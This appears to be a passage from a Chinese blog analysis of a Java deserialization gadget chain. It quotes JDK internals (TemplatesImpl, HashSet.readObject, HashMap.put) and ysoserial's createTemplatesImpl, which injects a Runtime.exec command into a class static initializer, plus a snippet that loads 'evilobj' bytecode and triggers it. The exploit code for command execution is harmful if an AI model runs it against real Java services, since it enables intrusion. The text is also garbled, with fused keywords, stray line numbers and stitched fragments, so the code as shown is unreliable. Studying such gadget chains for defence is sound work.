if (_class == null) defineTransletClasses();//TemplatesImpl._class==null
// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//_transletIndex在defineTransletClasses中定义 translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); }
try { finalint classCount = _bytecodes.length; _class = new Class[classCount];
if (classCount > 1) { _auxClasses = new Hashtable(); }
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass();
// Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }//_class.superClass==com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet else { _auxClasses.put(_class[i].getName(), _class[i]); } }
publicstatic TemplatesImpl createTemplatesImpl(final String command)throws Exception { final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer clazz.makeClassInitializer() .insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); // unique name to allow repeated execution (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime());//Sets the class name
finalbyte[] classBytes = clazz.toBytecode();
// inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", newbyte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)}); // classBytes}); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); // Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
final TemplatesImpl tpl = new TemplatesImpl(); setField(TemplatesImpl.class,tpl,"_name","ccreater"); setField(TemplatesImpl.class,tpl,"_class",null); setField(TemplatesImpl.class,tpl,"_bytecodes",newbyte[][]{evilobj.toBytecode()}); tpl.getOutputProperties();
} publicstaticvoidsetField(Class clazz,Object obj,String key,Object value)throws NoSuchFieldException, IllegalAccessException { Field field = clazz.getDeclaredField(key); field.setAccessible(true); field.set(obj,value); } }
privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor));
// Read in size int size = s.readInt();
// Read in all elements in the proper order. for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
跟进HashMap::put方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
public V put(K key, V value){ if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
finalinthash(Object k){ int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; }
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); }